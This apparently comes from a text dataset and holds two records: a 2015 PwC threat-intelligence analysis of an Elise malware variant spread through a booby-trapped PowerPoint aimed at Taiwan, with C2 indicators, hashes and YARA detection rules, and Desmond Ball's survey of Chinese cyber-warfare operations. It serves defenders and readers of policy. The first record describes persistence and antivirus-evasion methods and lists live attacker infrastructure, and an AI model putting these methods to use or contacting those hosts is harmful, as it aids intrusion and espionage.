text
stringlengths 8
115k
|
---|
# ELISE: Security Through Obesity
**Email alerts**
23 December 2015
By Michael Yip
## Executive Summary
Taiwan has long been subjected to persistent targeting from espionage motivated threat actors. This blog presents our analysis of one of the latest malware variants targeting individuals in Taiwan, which exhibits some interesting characteristics that can be useful for detecting and defending against the threat – including the creation of an obese file, weighing in at 500MB, as part of its execution.
The sample which caught our attention for this analysis is a PowerPoint slideshow file named 台灣學生網路援交觀察.pps (translation: “Observations on cyber compensated dating among Taiwanese students”). The sample was submitted to VirusTotal on 3rd December 2015 from Taiwan and at the time was only detected by 3 out of 54 antivirus vendors as malicious. An exploit for CVE-2014-4114 is also detected and tagged by VirusTotal.
![Figure 1: The sample is a PowerPoint file with exploit for CVE-2014-4114 embedded.](#)
## The initial lure
The figures below show some of the slides from the slideshow. All the contents in the slideshow are written in Traditional Chinese, which is typically used in provinces in Southern China such as Guangdong and Hong Kong, as well as Taiwan. Since the topic of the slideshow relates explicitly to Taiwanese and the submission was from Taiwan, we assess the attacker was likely targeting Taiwanese individuals.
![Figure 2: The lure document is a Powerpoint (.pps) slideshow on “Observations into cyber compensated dating (援交) among Taiwanese students.”](#)
Given the use of a malicious document as the initial lure, the delivery method in this campaign is almost certainly spear-phishing.
## Exploitation
Once the slideshow file is opened, whilst the slides are displayed in full screen mode, the malware is dropped in the background. Specifically, two files are dropped into the %TEMP% directory: hlwyss.jpg and hlwyss.inf. By examining the file header (as shown in Figure 3) of hlwyss.jpg, we can see that the file is in fact a MS-DOS executable:
![Figure 3: File header of hlwyss.jpg shows it's an MS-DOS executable.](#)
The hlwyss.inf is an INF file which specifies file system operations required to install the malware (as shown in Figure 4). The use of an embedded INF file for malware installation is consistent with the Metasploit implantation of CVE-2014-4114, better known as the ‘Sandworm’ vulnerability.
![Figure 4: Contents of the hlwyss.inf which shows the renaming of hlwyss.jpg to hlwyss.dll and installation of the RunOnce key for malware execution.](#)
As indicated in the INF file, the installation script renames hlwyss.jpg to hlwyss.dll and sets up the malware through the creation of two RunOnce keys to ensure the execution of the malicious DLL using rundll32.exe, with the entry point Setting.
## Installation and execution
On examining logs produced during execution by ProcessMonitor, we find that aside from following the instructions outlined in the INF file, the malware proceeds to perform additional operations to complete its installation. In particular, the malware replicates itself in the %AppData%\Roaming\Programs folder and names its cloned copy ‘Syncmgr.dll’ (see Figure 5).
![Figure 5: As part of the installation, another DLL called Syncmgr.dll is also created.](#)
To ensure persistence on future restarts a Run key is also installed, however, the Run key points to the newly created Syncmgr.dll rather than the original hlwyss.dll.
![Figure 6: Run and RunOnce keys installed to ensure malware execution on boot up.](#)
Planting the malware in the user’s AppData\Roaming folder is also a sign that the attacker was likely to be targeting corporate users as corporate users often possess roaming user profiles, a Windows feature that allows users to access their customised Windows environment from different machines.
As Syncmgr.dll is the main malicious payload, we took a closer look at the file. The malware was compiled on 24th November 2015 and it is a 32-bit DLL. This shows that the sample is recent and indicates the threat actor is currently active.
Examining the PE structure of Syncmgr.dll shows a hidden executable embedded as one of the resources:
![Figure 7: Executable embedded in resource.](#)
Once SyncManager.dll is executed, an iexplore.exe process is spawned:
![Figure 8: A malicious iexplore.exe process spawned.](#)
Unsurprisingly, the strings of the iexplore.exe process reveal that the malware has injected itself into the process.
![Figure 9: Malware injected into iexplore.exe.](#)
By visualising the ProcessMonitor logs in ProcDOT, we see that two more files are created by the malware: WEB2013BW6.DAT and 60HGBC00.DAT.
![Figure 10: Malware creates two additional .DAT files.](#)
By comparing the code constructs between the embedded resource ASDASDASDASDSAD and WEB2013BW6.DAT, we see that they contain the identical code, as shown below:
![Figure 11: The embedded resource (left) and WEB2013BW6.DAT have similar code constructs.](#)
However, WEB2013BW6.DAT is over 500MB in size which is significantly larger than ASDASDASDASDSAD which is only 51KB in size:
![Figure 12: Dropped files in AppData\Roaming\Programs folder.](#)
An examination into the PE structure of WEB2013BW6.DAT shows that a significant amount of junk characters are appended to the foot of the file:
![Figure 13: Padding towards the end of WEB2013BW6.DAT.](#)
Based on its contents, the .DAT file is likely a component responsible for network communication. ProcMon logs also show that only once the iexplore.exe process is spawned, that the .DAT file is loaded into the process. Our current hypothesis is that this is a component of the malware often triggers antivirus signatures, and its huge size is an effort by the authors to evade detection.
## Network communications
Once the malware is executed, a HTTP GET request is sent to showip[.]net in an attempt to find out the victim’s external IP address.
![Figure 14: HTTP GET request to showip[.]net.](#)
After obtaining the IP address, the malware then sends out a HTTP GET request to one of three command & control (C2) servers configured in the malware, such as ustar5.PassAs[.]us. The full HTTP headers are as shown in the figure below:
![Figure 15: Network traffic to ustar5.PassAs[.]us generated after the malware is executed.](#)
There are two interesting aspects to the observed HTTP traffic. Firstly, the user-agent is hardcoded in the malware and as shown in the above figures, the same user-agent is used in both GET requests. Secondly, the victim IP is stored as the SHO value in the cookie field in the HTTP GET request to the C2 server. Both characteristics are useful for detecting the presence of this particular malware.
The malware is configured to use the following hosts for C2 servers:
| Domain | IP | Last seen |
|---------------------------|---------------------|---------------|
| ustar5.PassAs[.]us | 203.124.14[.]241 | 03/12/2015 |
| dnt5b.myfw[.]us | 103.193.150[.]33 | 15/12/2015 |
| - | 127.0.0.1 | 15/12/2015 |
| - | 203.124.14[.]241 | - |
As the malware attempts to establish contact with each of the designated C2 servers, the malware also logs the errors in a .tmp log file stored in the %TEMP% directory:
![Figure 16: Log file generated by the malware during execution logging failed attempts at establishing contact with configured C2s.](#)
## Functionalities
By examining the code constructs in the malware, we found evidence of the following functions:
- File upload – upload file to server
- File download – download file to victim machine
- Remote shell – spawn remote shell
- File system reconnaissance – obtain file metadata
- Process enumeration – enumerate running processes
Some of these functionalities are visible in the ASCII strings from the embedded payload ASDASDASDASDSAD:
![Figure 17: Strings from the malware show hints on the functionalities offered by the malware.](#)
## Association with LOTUS BLOSSOM
Our first step in attempting to tie activity to known campaigns is to look for any infrastructure overlaps between the domains used and those used previously by known threat actors, however we were unable to identify any infrastructure overlap in this case.
However, network infrastructure is not the only method for attribution. Other useful methods include common tools and techniques used by threat actors, as well as any other behavioural patterns in the modus operandi associated with specific threat actors.
In this case, we believe the sample analysed is associated with the ‘Lotus Blossom’ threat actor based on the following characteristics which are also seen in other samples associated with the actor:
- The use of Microsoft Office document with content in Traditional Chinese as initial lure and exploit;
- The targeting of Taiwanese individuals (Taiwan is often the target of the Lotus Blossom group);
- The malware is written in C++ (like most other malware used by the Lotus Blossom threat actor);
- The mention of Loader.dll (a filename referenced in other Elise samples);
- The use of dynamic DNS domains, including use of the same providers;
- The fixed user-agent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1);
- Mutex string Global\{7BDACDEE-8BF6-4664-B946-D00FCFF1FFBA};
- The format of the configuration for the C2 servers (e.g. Server1=%s);
- The presence of a JSON-like string within the malware matching the following regular expression: {\"r\":\"[0-9]{12}\",\"l\":\"[0-9]{12}\",\"u\":\"[0-9]{7}\",\"m\":\"[0-9]{12}\"}.
These relationships are displayed graphically in the Maltego graph below:
![Figure 18: Some overlapping features among related samples, including the sample analysed in this blog.](#)
## Conclusion
Taiwan has long been heavily targeted by espionage threat actors and ‘Lotus Blossom’ is one of the most active threat actors currently targeting the country. The analysis presented in this blog provides an overview of one of their latest malware variants and new network infrastructure associated with the group. The compile time of the sample shows that the malware was compiled in November which indicates that the group is still actively targeting Taiwanese victims.
## Recommendation
To help detect the presence of the malware described in this blog, we have included both network and host based signatures in the Appendix.
## Further Information
We specialise in providing the services required to help clients resist, detect and respond to advanced cyber attacks. This includes crisis events such as data breaches, economic espionage and targeted intrusions, including those commonly referred to as APTs. If you would like more information on any of the threats discussed in this alert please feel free to get in touch, by e-mailing threatintelligence@uk.pwc.com.
**Michael Yip | Cyber Threat Detection & Response**
+44 (0)20 78043900
## Appendix
### File descriptions
Below table shows the metadata of the file(s) referenced in this blog:
| Sample 1 | |
|----------|--|
| Filename | 台灣學生網路援交觀察.pps |
| Filesize (bytes) | 24,1504 |
| MD5 | c205fc5ab1c722bbe66a4cb6aff41190 |
| Last saved | 2015-12-03 03:45:11 |
| Architecture Type | - |
| Packer | None |
| Comments | This is the initial lure document. |
| Sample 2 | |
|----------|--|
| Filename | SyncMgr.dll/hlwyss.dll |
| Filesize (bytes) | 156,976 |
| MD5 | 353fc24939bb5db003097a8dd3c0ee7b |
| File PE Compile Time | 2015-11-24 04:57:52 |
| Architecture Type | 32-bit |
| Packer | None |
| Comments | This is the Elise variant. |
| Sample 3 | |
|----------|--|
| Filename | hlwyss.inf |
| Filesize (bytes) | 1,136 |
| MD5 | bc179ebf3ca089dc9f3596beea38ab27 |
| File PE Compile Time | - |
| Architecture Type | - |
| Packer | None |
| Comments | This is the INF file used as part of the exploit code. |
| Sample 4 | |
|----------|--|
| Filename | WEB2013BW6.DAT |
| Filesize (kilobytes) | 512,051 |
| MD5 | 3940a839c8f933cbdc17a50d164186fa |
| File PE Compile Time | - |
| Architecture Type | - |
| Packer | None |
| Comments | This is the malware packed with junk code. |
| Sample 5 | |
|----------|--|
| Filename | 60HGBC00.DAT |
| Filesize (bytes) | 1,292 |
| MD5 | 6fcdc554b71db3f0b46c7722c2a08285 |
| File PE Compile Time | - |
| Architecture Type | - |
| Packer | None |
| Comments | This is an encrypted file object. |
### Indicators
Below are the network indicators referenced in this blog:
| Domain | |
|---------------------------|--|
| ustar5.PassAs[.]us | |
| dnt5b.myfw[.]us | |
| IP | 203.124.14[.]241 |
| IP | 103.193.150[.]33 |
### Detection signatures
**Yara**
```yara
rule Lightserver_variant_B : Red_Salamander {
meta:
description = "Elise lightserver variant."
author = "PwC Cyber Threat Operations :: @michael_yip"
version = "1.0"
created = "2015-12-16"
exemplar_md5 = "c205fc5ab1c722bbe66a4cb6aff41190"
strings:
$json = /\{\"r\":\"[0-9]{12}\",\"l\":\"[0-9]{12}\",\"u\":\"[0-9]{7}\",\"m\":\"[0-9]{12}\"\}/
$mutant1 = "Global\\{7BDACDEE-8BF6-4664-B946-D00FCFF1FFBA}"
$mutant2 = "{5947BACD-63BF-4e73-95D7-0C8A98AB95F2}"
$serv1 = "Server1=%s"
$serv2 = "Server2=%s"
$serv3 = "Server3=%s"
condition:
uint16(0) == 0x5A4D and ($json or $mutant1 or $mutant2 or all of ($serv*))
}
```
```yara
import "pe"
rule Elise_lstudio_variant_B_resource {
meta:
description = "Elise lightserver variant."
author = "PwC Cyber Threat Operations :: @michael_yip"
version = "1.0"
created = "2015-12-16"
exemplar_md5 = "c205fc5ab1c722bbe66a4cb6aff41190"
condition:
uint16(0) == 0x5A4D and for any i in (0..pe.number_of_resources - 1) :
(pe.resources[i].type_string == "A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00A\x00S\x00D\x00S\x00A\x00D\x00")
}
```
© 2012-2015 PwC. All rights reserved. PwC refers to the PwC network and/or one or more of its member firms, each of which is a separate legal entity. Please see www.pwc.com/structure for further details. |
# China’s Cyber Warfare Capabilities
Desmond Ball
China has the most extensive and practiced cyber-warfare capabilities in Asia. This article describes the development of these capabilities since the mid-1990s, the intelligence and military organizations involved, and the particular capabilities demonstrated in defense exercises and attacks on computer systems and networks in other countries. It notes that it is often very difficult to determine whether these attacks have originated with official agencies or private "Netizens." It argues that China’s own computer systems and networks are replete with vulnerabilities, of which Chinese officials are well aware. This appreciation of China’s deficiencies and vulnerabilities has led to the adoption of a pre-emptive strategy, as practiced in People’s Liberation Army exercises, in which China’s destructive but relatively unsophisticated cyber-warfare capabilities are unleashed at the very outset of prospective conflicts.
China began to implement an Information Warfare (IW) plan in 1995, and since 1997 has conducted numerous exercises in which computer viruses have been used to interrupt military communications and public broadcasting systems. In April 1997, a 100-member elite corps was set up by the Central Military Commission to devise ways of planting disabling computer viruses into American and other Western command and control defense systems. In 2000, China established a strategic IW unit (which US observers have called "Net Force") designed to wage combat through computer networks to manipulate enemy information systems spanning spare parts deliveries to fire control and guidance systems. The People’s Liberation Army (PLA) announced on 20 July 2010 that it had established an "Information Protection Base" under the General Staff Department, probably a "computer network defense" or "computer security operations" center.
Chinese cyber-warfare units have been very active, although it is often very difficult to attribute activities originating in China to official agencies or private "Netizens." Since 1999, there have been periodic rounds of attacks against official websites in Taiwan, Japan, and the United States. These have typically involved fairly basic penetrations, allowing websites to be defaced or servers to be crashed by "Denial-of-Service" (DOS) programs. More sophisticated "Trojan Horse" programs were used in 2002 to penetrate and steal information from the Dalai Lama’s computer network. More recently, Trojan Horse programs camouflaged as Microsoft Word and PowerPoint documents have been inserted in computers in government offices in many countries around the world. Portable, large-capacity hard discs, often used by government agencies, have been found to carry Trojan Horses that automatically upload to Beijing websites everything that the computer user saves on the hard disc. From the late 1990s until 2005, the PLA conducted more than 100 military exercises involving some aspect of IW, although the practice generally exposed substantial shortfalls. A similar number was probably conducted in the period from 2005 to 2010.
Any critique of China’s cyber-warfare capabilities must necessarily include some assessment of its cyber-intelligence operations. As a report prepared for the US-China Economic and Security Review Commission in October 2009 noted: "Ultimately, the only distinction between computer network exploitation and attack is the intent of the operator at the keyboard. The skill sets needed to penetrate a network for intelligence gathering purposes in peacetime are the same skills necessary to penetrate that network for offensive action during wartime."
Organizationally, the PLA has consolidated the computer and network attack missions together with Electronic Warfare into an "Integrated Network Electronic Warfare" (INEW) activity under the General Staff Department’s 4th (Electronic Countermeasures) Department. Computer network defense has apparently been included with cyber-espionage in the 3rd (Signals Intelligence) Department. Specialized IW militia units also share some aspects of these missions.
In addition, the Chinese military and intelligence agencies are able to readily utilize the corporate sector, including not only state-owned telecommunications carriers such as China Telecom Corporation but also so-called "private" companies that provide telecommunications and information technologies and services. For example, Huawei Technologies Company, one of the biggest suppliers of telecom equipment in the world, has been effectively blocked from business in the United States because of accusations by US officials that it is "linked to the Chinese military." Chinese manufacturers of electronic gadgets, such as iPods, digital picture frames, and navigation gear, have also been found to have installed viruses in their products that subsequently send information back to Beijing. The Chinese authorities have access to the large community of patriotic "Netizens" who are highly skilled in the design and implantation of Trojan Horse programs and other forms of malicious software.
## Cyber-warfare Activities
PLA IW units have reportedly developed detailed procedures for Internet warfare, including software for network scanning, obtaining passwords and breaking codes, and stealing data; information-paralyzing software, information-blocking software, information-deception software, and other malware; and software for effecting counter-measures. These procedures have been tested in field exercises since about 2000. For example, 500 soldiers took part in a network-warfare exercise in Hubei province in 2000 in which simulated cyber-attacks were conducted against Taiwan, India, Japan, and South Korea. In another exercise in Xian, ten cyber-warfare missions were rehearsed, including planting (dis)information mines; conducting information reconnaissance; changing network data; releasing information bombs; dumping information garbage; releasing clone information; organizing information defense; and establishing "network spy stations." In Datong, forty PLA specialists were reported in 2001 to be "preparing methods of seizing control of communications networks of Taiwan, India, Japan, and South Korea."
Cyber-warfare activities go beyond intelligence collection operations in at least two quite different respects. First, they include a large group of activities designed to damage or destroy network elements, such as websites, hard drives, operating systems, and servers, as well as infrastructure dependent upon those elements, such as communications systems, financial services, power grids, air traffic control systems, etc. The simplest of these activities involve Denial-of-Service attacks which overwhelm network devices (especially servers and routers), of which there have been innumerable instances targeting websites in the United States, Japan, South Korea, and Taiwan.
Viruses have been produced that only attack Japanese-language operating systems. For example, the Win32/KillDPT "intelligent" virus, after reading the registry keys and judging the type of operating system and determining that it uses Japanese language, will destroy the hard disc by filling it with garbage data and then restarting the system, completely paralysing the computer. Another virus which only attacked Japanese operating systems, W32.Welchia.B, was launched in 2008 and was called the "patriotic virus" or the "anti-Japan virus."
Second, cyber-warfare activities place a premium on "sleeper" Trojan Horses which are installed during peacetime and which, when activated, can either damage or destroy systems, or begin to exfiltrate confidential information back to Beijing. For example, a worm called Worm.Downad.E (an advanced variant of the Conficker worm), released on 1 April 2009, and which infects Microsoft operating systems, can remain dormant in the system until a specially crafted RPC (Remote Procedure Call) request is received; its creators can then take control of the compromised computers. It was reported in April 2009 that "hackers believed to be backed by the Chinese communist regime" had infiltrated computers critical to the functioning of the US electric power grid and deposited software that would allow them to "catastrophically disrupt service" when ordered.
On 17 November 2008, the US Department of Defense (DoD) banned USB storage devices across the whole US military. The ban on portable digital media was imposed throughout the Defense Department’s Global Information Grid, which includes more than 17,000 local- and regional-area networks and approximately seven million individual computers, and covered "memory sticks, thumb drives, and camera flash memory cards." The ban followed reports that a worm virus known as "Agent.btz" had been found to have infected some DoD networks. "Agent.btz," which was believed to have originated in China, was described as a variation of an older worm that copies itself to removable USB drives from infected computers and then spreads itself to whatever new systems it is connected to through USB ports.
Indian computer systems and networks have also been hit by Chinese attackers. For example, India’s INSAT 4B communications satellite suffered a malfunction in July 2010. It used Siemens software that was targeted by a Stuxnet worm that apparently entered the satellite through its control system software. It has been speculated that Chinese hackers disabled the Indian satellite for commercial advantage, in an exercise of "higher statecraft."
On 10 June 2010, South Korea claimed that a government website was attacked the previous day from Internet addresses in China. The intrusions involved a Distributed Denial-of-Service attack, and were launched from 120 IP addresses. The targeted website reportedly provided "information on administrative services and government policies." The attacks were similar to those made against the websites of the Office of the Presidency and the Ministry of Defence in Seoul in July 2009.
On 4 March 2011, South Korea’s National Cyber Security Center said that about forty South Korean government and private websites had been attacked the previous day, including those of "the presidential office, the Foreign Ministry, the National Intelligence Service, U.S. Forces Korea, and financial institutions," and that these attacks originated in China. The attacks involved a more sophisticated form of Denial-of-Service operation, in which two peer-to-peer file-sharing websites were initially infected with malware, from which up to 11,000 PCs were then taken over and used in the DOS attack.
Taiwan has been subjected to regular attacks on government websites since the late 1990s, although these can mainly be attributed to private Netizens. However, some have undoubtedly been generated by Chinese government agencies, particularly those involving attacks on the websites and networks of Taiwan’s Ministry of National Defense (MND) and intelligence organizations. In July 2004, Chinese hackers attacked websites of the MND in an attempt to disrupt its annual Han Kuang-20 (Han Glory-20) defense exercise. In July 2006, the Ministry included its "first-ever anti-hacker drill" in its Han Kuang-22 exercise as "a way of raising awareness of the dangers of ‘careless leaks’ of classified information via the Internet." The website of Taiwan’s National Security Bureau (NSB) was reportedly attacked from China about 590,000 times from January to October 2010, or an average of about 2000 times a day.
The Taiwanese media have reported that some Chinese hackers utilize Taiwan to practice their skills. Others route their attacks through Taiwanese servers, mainly because of the common language. For example, six Internet addresses in Taiwan were used in attacks on Google in January 2010.
## Cyber-intelligence Operations
China is credibly reported to have conducted cyber-intelligence operations against numerous countries, including the United States, the United Kingdom, Australia, New Zealand, Canada, Germany, France, the Netherlands, Portugal, Japan, South Korea, Taiwan, India, Pakistan, Iran, Thailand, the Philippines, and Indonesia.
With respect to the United States, a computer security company, Solutionary, reported in March 2009 that it had detected 128 "acts of cyberaggression" per minute coming from Internet addresses in China. The Department of Defense was the main target of the attacks. The US Air Force estimated in 2007 that China had "successfully exfiltrated at least 10 to 20 terabytes" of sensitive data from US Government computers. The amount obtained from US defense industry networks would be much greater.
A State Department cable in 2008 revealed that since 2002, cyber intruders involved in what is referred to as the Byzantine Candor (BC) attack, believed to originate from China, have exploited the vulnerabilities of Windows to steal log-in credentials and gain access to hundreds of US government and cleared defense contractor systems over the years. It stated that in the US, the majority of the systems BC actors have targeted belong to the US Army, but targets also include other Department of Defense services as well as the Department of State, Department of Energy, additional US government entities, and commercial systems and networks.
US officials involved in talks with China at the Copenhagen climate change summit in 2009 were "subject to a cyber attack containing the ‘poison ivy’ remote access tool intended to give hackers almost complete control over the victim’s system." According to a State Department cable, the message had the subject line "China and Climate Change" and was spoofed to appear as if it were from a legitimate international economics columnist at the National Journal.
In November 2010, a US Congressional advisory group reported that a Chinese state-owned telecommunications company had hijacked US Internet traffic. The incident occurred on 8 April 2010 and lasted for 18 minutes, during which time traffic was re-routed by China Telecom from major US Government and military websites (including those of the US Senate and the Office of the Secretary of Defense) to China, where Chinese officials were able to monitor the traffic. The re-routed traffic amounted to about 15 percent of global Internet traffic.
In November 2007, the Director-General of MI5 in Britain took the "unprecedented step" of openly accusing China of carrying out "state-sponsored espionage against vital parts of Britain’s economy, including the computer systems of big banks and financial services firms." In a confidential letter to 300 chief executives and security chiefs at banks, accountants, and legal firms, he warned them that they were under attack from "Chinese state organizations," and that "British companies doing business in China are being targeted by the Chinese Army, which is using the Internet to steal confidential commercial information," and provided "a list of known ‘signatures’ that can be used to identify Chinese Trojans and a list of Internet addresses known to have been used to launch attacks."
With respect to Australia, it was reported in September 2007 that China had "allegedly tried to hack into highly classified government computer networks in Australia … as part of a broader international operation to glean military secrets from Western nations." According to media reports in February 2008, Chinese "cyber espionage" activities have been conducted against "key Australian Government agencies," "Chinese computer hackers have launched targeted attacks on classified Australian Government computer networks," and China was "believed to be seeking information on subjects such as military secrets and the prices Australian companies will seek for resources such as coal and iron ore." The Chinese activities reportedly prompted an official review of IT security. In March 2011, it was reported that the "parliamentary computers" of at least ten Federal Ministers had been hacked into by Chinese intelligence agencies in February, including those of Prime Minister Julia Gillard, Foreign Minister Kevin Rudd, and Defence Minister Stephen Smith, and that "several thousand emails may have been accessed."
It was reported in February 2007 that Chinese hackers had also attempted to penetrate "highly classified government computer networks" in New Zealand, although Prime Minister Helen Clark said that she had been assured by New Zealand’s intelligence agencies that "no classified information" had been taken.
In February 2011, Canadian media reported that "Chinese government hackers" had penetrated the computers of the Finance and Defense Departments and the Treasury Board in Canada in January. They reportedly "also infiltrated computers in the offices of senior government officials in a bid to steal passwords providing access to key government data." A Chinese government spokesman denied involvement by Beijing in the attacks, and stated that "the allegation that the Chinese government supports Internet hacking is groundless."
With respect to Germany, China’s intelligence services were accused in August 2007 of hacking into Chancellor Angela Merkel’s office and three other German government ministries. Germany’s domestic intelligence service, the Office for the Protection of the Constitution, reportedly discovered the hacking operation in May, and "German security officials managed to stop the theft of 160 gigabytes of data which were in the process of being siphoned off German government computers." The German press reports said that Trojan Horse programs had been "concealed in Microsoft Word documents and PowerPoint files which infected IT installations when opened," that "information was taken from German computers in this way on a daily basis by hackers based in the north-western province of Lanzhou, Canton province, and Beijing," and that "German officials believe the hackers were being directed by the People’s Liberation Army."
In the case of France, the chief of the Network Security Agency stated in March 2011 that a cyber attack occurred in France in November-December 2010 in which around 150 computers in the Finance Ministry were penetrated and documents relating to the G-20 were accessed by sources believed to have originated in China. A further 10,000 computers had to be taken off-line in March 2011 and "inspected for traces of the Trojan Horse responsible, which was apparently introduced via an email attachment."
South Korean officials claimed in March 2011 that China targeted Seoul’s plans for acquisition of Global Hawk unmanned aerial vehicles. Chinese officials flatly denied the claims. Wang Mingzhi, a military strategist at the People’s Liberation Army Air Force Command College stated that "South Korea’s news is groundless."
Taiwan’s Ministry of National Defense announced in April 2007 that Chinese Net Force hackers had used Trojan Horses to obtain information on two particularly sensitive matters, the Po Sheng ("Broad Victory") project (involving cooperation with the United States on C4ISR—command, control, communications, computers, intelligence, surveillance, and reconnaissance) and the Han Kuang-23 ("Han Glory-23") defense exercise. In the case of the Han Kuang-23 material, an officer working on the exercise planning staff had taken confidential information home in his laptop in order to "do more work after hours," but his laptop was penetrated by an unidentified Chinese hacker and the information stolen. In the case of the Po Sheng data, it had been copied by another officer onto a USB which was later found to have contained a Trojan Horse designed to send its contents back to Beijing.
In the case of India, officials said in May 2008 that over the previous one and a half years, China had "mounted almost daily attacks on Indian computer networks, both government and private." The officials said that "the Chinese are constantly scanning and mapping India’s official networks," and that "this gives them a very good idea of not only the content but also of how to disable the networks or distract them during a conflict." Attacks that were "sourced to China" during the first few months of 2008 included "an attack on the NIC (National Informatics Centre), which was aimed at the National Security Council," and an attack on the Ministry of External Affairs.
Two reports issued in March 2009 documented "Chinese cyber spying against Tibetan institutions." A Canadian investigation revealed a network which it called "GhostNet" which had infected more than 1295 hosts in 103 countries, and included "computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs." It found that Tibetan computers "were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information." Bugged computers were detected "in the foreign ministries of several countries, including Iran and Indonesia, and in the embassies of India, South Korea, Taiwan, Portugal, Germany, and Pakistan." Investigators tracked the virus to "a group of servers on Hainan Island," and to "other servers based in China’s Xinjiang Uyghur autonomous region, where intelligence units dealing with Tibetan independence groups are based."
Chinese hackers have evidently also targeted multinational energy companies. In February 2011, for example, the computer security firm McAfee alleged that Chinese attackers had made "coordinated, covert and targeted" intrusions into the systems of five major oil and gas firms to steal proprietary information. It reported that "the hackers could be traced back to China via a server leasing company in Shandong province that hosted the malware," as well as to Beijing IP (Internet Protocol) addresses, and that the attacks, which it called Operation Night Dragon, "focused on financial data related to oil and gasfield exploration and bidding contracts."
From mid-2009 to January 2010, a cyber attack originating in China was launched against Google and more than twenty other companies. According to a diplomatic cable from the US Embassy in Beijing, a Chinese source reported that the intrusions were directed by the Politburo. The cable suggested that the hacking was part of a coordinated campaign executed by "government operatives, public security experts, and Internet outlaws recruited by the Chinese government." Called Operation Aurora, a specific purpose of the attack on Google was reportedly to access the Gmail accounts of Chinese dissidents and human rights activists. More generally, the goal was to gain access to and potentially modify source code repositories at some twenty to thirty-four high-tech, security, and defense contractor companies. The attackers exploited a vulnerability in the Adobe PDF format used in Microsoft’s Internet Explorer browser to open a back door, through which the intruder performed reconnaissance and gained control over the source codes.
In March 2011, a Denial-of-Service attack originating in China hit the blog-publishing site WordPress, interfering with the company’s three data centers in Chicago, San Antonio, and Dallas. The attacks directed "multiple Gigabits per second and tens of millions of packets per second." And in April, an online petitioning platform, Change.org, which had hosted a petition urging Chinese authorities to release artist Ai Weiwei from custody, was also hit by a Denial-of-Service attack coming from China.
Chinese intelligence agencies also monitor the computer files and emails of selected individuals. Monitoring the personal emails of officials can provide information that can be used for blackmail or coercion, such as a person’s interest in money or sex.
## China’s Netizens
By 2001, when China had some 60 million Internet users (the second largest number after the United States), it already had the largest number of active non-governmental cyber-warriors in Asia. It surpassed the United States in Internet users in mid-2008, when it reached an estimated 253 million. It reached 457 million by the end of 2010, an increase of 19 percent (or 73 million users) over 2009. Its Internet penetration rate of 34.3 percent is still relatively low compared to that of developed countries, although it is higher than the world average.
Many of these non-governmental cyber-warriors are motivated by nationalist causes. Attacks on Taiwanese websites began in 1996, when Chinese hackers defaced and damaged websites during the Presidential election. In August 1999, there was a spate of cross-Strait attacks against computer networks and official websites in Taiwan, which were launched by Netizens reacting to then-President Lee Tung-hui’s statement in June that relations between the PRC and Taiwan should be characterized as "special State-to-State" relations. These attacks involved more than 160 penetrations into Taiwanese computer networks. The hackers even invaded the website of the American Institute in Taiwan, the unofficial US Embassy (and the location of the National Security Agency’s Liaison Office in Taipei), and crashed its server with a bombardment of 45,000 simultaneous emails. In another spate, between November 2001 and July 2002, "hackers based in China broke into 216 computers at 42 government institutions via a back-up computer processing unit at Chungwa Telecom," in what Taiwanese telecommunications officials said was "the most systematic and large-scale hijacker break-in of its kind in Taiwan." In June 2004, Chinese hackers attacked the site of Taiwan President Chen Shui-bian’s pro-independence Democratic Progressive Party.
In January 2000, there was an intense spate of attacks on Japanese government websites, probably triggered by denials by right-wing Japanese that Japanese troops had massacred Chinese civilians when they seized Nanjing in 1937. The websites of at least twenty government departments were attacked, including those of the Japan Defense Agency (JDA) and the Foreign Ministry. On some sites, the hackers posted slogans criticizing Japan’s wartime acts; important data was erased from one site. Twelve of the attacks were routed through ISPs (Internet Service Providers) in the PRC, but some had probably also come through ISPs in South Korea, where there is also widespread resentment at Japan’s past militarism.
Another round of coordinated assaults on Japanese websites occurred in early 2005, when Japan’s Education Ministry approved new textbooks that critics argued "whitewashed" the history of Japanese aggression in the region. Websites of the Japanese Embassy in Beijing, the National Police Agency, the Self-Defense Forces, and the Defense and Foreign ministries were repeatedly taken down by Denial-of-Service attacks. The servers for the website for Tokyo’s Yasukuni Shrine were clogged by millions of "ping" strikes. And in September 2010, when tensions between China and Japan increased amid the territorial dispute over the Senkaku (or Diaoyu) Islands in the East China Sea, the websites of both the Defense Ministry and the National Police Agency were bombarded in Denial-of-Service attacks by Chinese hackers.
During the NATO air war against Yugoslavia in March-June 1999, Chinese hackers attacked hundreds of government and military websites and other information systems in the United States, the United Kingdom, and other NATO countries. "Ping" attacks were launched to crash NATO web servers. The attacks became especially virulent following the US bombing of the Chinese Embassy in Belgrade on 7 May. In the United States, computer systems at the White House, the Pentagon, and the State Department were attacked. More than 100 government websites in the United States received virus-infected emails. Hackers also penetrated the website of the US Embassy in Beijing. In May 2001, in the aftermath of the EP-3E incident (and the second anniversary of the US bombing of the Chinese Embassy in Belgrade), Chinese hackers attacked "a few hundred" US websites. The official White House home page suffered a Denial-of-Service attack for more than two hours on 4 May.
In September 2002, it was reported that since late April Chinese hackers had been trying to penetrate the Dalai Lama’s computer network. The manager of the Tibetan Computer Resource Centre in Dharamsala, India, said that "Chinese hackers had designed a virus to plug into the network and steal information." The attacks came in hundreds of emails using false addresses appearing to be friendly sources, and included Trojan Horse programs designed to seek out files and attempt to email them to an address in China, and programs designed to open "back doors" to allow the hackers to take control of target computers through Internet connections. According to dissident groups, who were sometimes able to trace the source of the attacks, the hacking was officially sponsored: "They are Chinese hackers employed by a State-owned industry operating on the State’s time."
There is no doubt that the Chinese authorities exercise some degree of control over some of these hackers. In May 2002, for example, when the US Department of Defense reportedly braced itself for an onslaught of cyber attacks, they never materialized because, according to the Deputy Commander of the Pentagon’s Joint Task Force on Computer Network Operations, "actually the government of China asked them not to do that." It was reported in November 2008 that the largest US military base in Afghanistan, at Bagram, was hit by a computer virus that affected nearly three-quarters of the computers on the base. This was not the first such cyber-attack. Officials stated that "earlier incarnations of the virus had exported information such as convoy and troop movements." It could not be determined "whether the viruses were part of a covert Chinese government effort or the work of private hackers," although US military spokesmen did say that the Chinese "learn a lot from these attacks, like how our logistics and other systems work."
